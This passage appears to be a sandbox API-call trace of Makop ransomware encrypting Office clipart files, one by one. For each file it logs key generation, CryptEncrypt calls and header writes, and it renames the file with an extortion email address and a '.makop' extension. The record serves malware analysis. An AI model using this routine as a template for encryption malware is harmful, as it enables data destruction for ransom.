lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.603] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.603] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.603] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.603] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.603] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8ad6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8ad6, lpOverlapped=0x0) returned 1 [0131.605] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ae0, dwBufLen=0x8ae0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8ae0) returned 1 [0131.605] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.605] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8ae0, lpOverlapped=0x0) returned 1 [0131.606] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.606] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.606] SetEndOfFile (hFile=0xf0) returned 1 [0131.612] GetProcessHeap () returned 0x48a0000 [0131.612] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.612] GetProcessHeap () returned 0x48a0000 [0131.613] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.613] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227419.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227419.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.614] CloseHandle (hObject=0xf0) returned 1 [0131.615] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe2e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0227558.JPG", cAlternateFileName="")) returned 1 [0131.615] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG") returned 63 [0131.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.617] GetProcessHeap () returned 0x48a0000 [0131.617] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.617] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.617] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.617] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0131.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.621] GetProcessHeap () returned 0x48a0000 [0131.621] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.621] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.621] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.622] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.622] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.622] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.623] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe2e9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe2e9, lpOverlapped=0x0) returned 1 [0131.625] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe2f0, dwBufLen=0xe2f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe2f0) returned 1 [0131.626] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.626] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe2f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe2f0, lpOverlapped=0x0) returned 1 [0131.626] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.626] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.627] SetEndOfFile (hFile=0xf0) returned 1 [0131.635] GetProcessHeap () returned 0x48a0000 [0131.635] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.635] GetProcessHeap () returned 0x48a0000 [0131.635] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.635] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.635] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0227558.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0227558.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.637] CloseHandle (hObject=0xf0) returned 1 [0131.637] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaccb1700, ftCreationTime.dwHighDateTime=0x1be8602, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaccb1700, ftLastWriteTime.dwHighDateTime=0x1be8602, nFileSizeHigh=0x0, nFileSizeLow=0x65a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228823.WMF", cAlternateFileName="")) returned 1 [0131.637] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF") returned 63 [0131.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.638] GetProcessHeap () returned 0x48a0000 [0131.638] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.638] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.638] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.638] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.644] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.644] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.644] GetProcessHeap () returned 0x48a0000 [0131.644] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.645] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.645] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.645] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.645] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.645] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.645] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.646] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.646] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.646] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.646] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.646] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x65a6, lpOverlapped=0x0) returned 1 [0131.648] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x65b0, dwBufLen=0x65b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x65b0) returned 1 [0131.648] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x65b0, lpOverlapped=0x0) returned 1 [0131.648] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.648] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.649] SetEndOfFile (hFile=0xf0) returned 1 [0131.655] GetProcessHeap () returned 0x48a0000 [0131.655] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.655] GetProcessHeap () returned 0x48a0000 [0131.655] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.655] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.655] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228823.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228823.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.657] CloseHandle (hObject=0xf0) returned 1 [0131.657] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565cf3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x918c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0228959.WMF", cAlternateFileName="")) returned 1 [0131.658] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF") returned 63 [0131.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.658] GetProcessHeap () returned 0x48a0000 [0131.658] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.659] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.659] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.664] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.664] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.664] GetProcessHeap () returned 0x48a0000 [0131.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.664] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.664] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.664] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.665] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.665] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.665] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x918c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x918c, lpOverlapped=0x0) returned 1 [0131.667] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9190, dwBufLen=0x9190 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9190) returned 1 [0131.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9190, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9190, lpOverlapped=0x0) returned 1 [0131.668] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.668] SetEndOfFile (hFile=0xf0) returned 1 [0131.675] GetProcessHeap () returned 0x48a0000 [0131.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.675] GetProcessHeap () returned 0x48a0000 [0131.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.675] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0228959.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0228959.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.677] CloseHandle (hObject=0xf0) returned 1 [0131.677] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1daa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230553.WMF", cAlternateFileName="")) returned 1 [0131.677] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF") returned 63 [0131.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.679] GetProcessHeap () returned 0x48a0000 [0131.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.680] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.684] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.684] GetProcessHeap () returned 0x48a0000 [0131.684] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.684] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.684] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 